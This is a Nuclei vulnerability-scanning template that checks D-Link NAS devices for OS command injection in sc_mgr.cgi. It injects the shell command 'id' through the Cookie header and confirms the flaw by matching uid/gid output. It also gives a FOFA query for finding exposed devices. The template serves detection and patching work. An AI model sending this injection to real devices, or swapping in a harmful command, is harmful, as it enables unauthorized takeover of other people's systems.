id: dlink-nas-rce

info:
  name: D-Link NAS `sc_mgr.cgi` - Remote Code Execution
  author: adeljck
  severity: critical
  description: |
    The D-Link NAS interface sc_mgr.cgi contains a command execution vulnerability that allows attackers to execute arbitrary commands on the device, potentially leading to unauthorized access or control over the system.
  remediation: |
    To remediate this vulnerability, ensure that the device firmware is updated to the latest version provided by the manufacturer. Additionally, consider implementing network segmentation and firewall rules to restrict unauthorized access to the device.
  classification:
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    fofa-query: 'body="/cgi-bin/login_mgr.cgi" && body="cmd=cgi_get_ssl_info"'
  tags: dlink,nas,rce,vuln

http:
  - raw:
      - |
        GET /cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info HTTP/1.1
        Host: {{Hostname}}
        Cookie: username='& id &';

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
          - "404 not found"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203ba60e3a4299beecc979f9ec6488b172d54e0895f1f4d9fbdd3ccc2ad4de863c0220786a8d15dc697ed79261fbfdf050016eb7b81a667a2a456404e0a9ed88d0a8ef:922c64590222798bb761d5b6d8e72950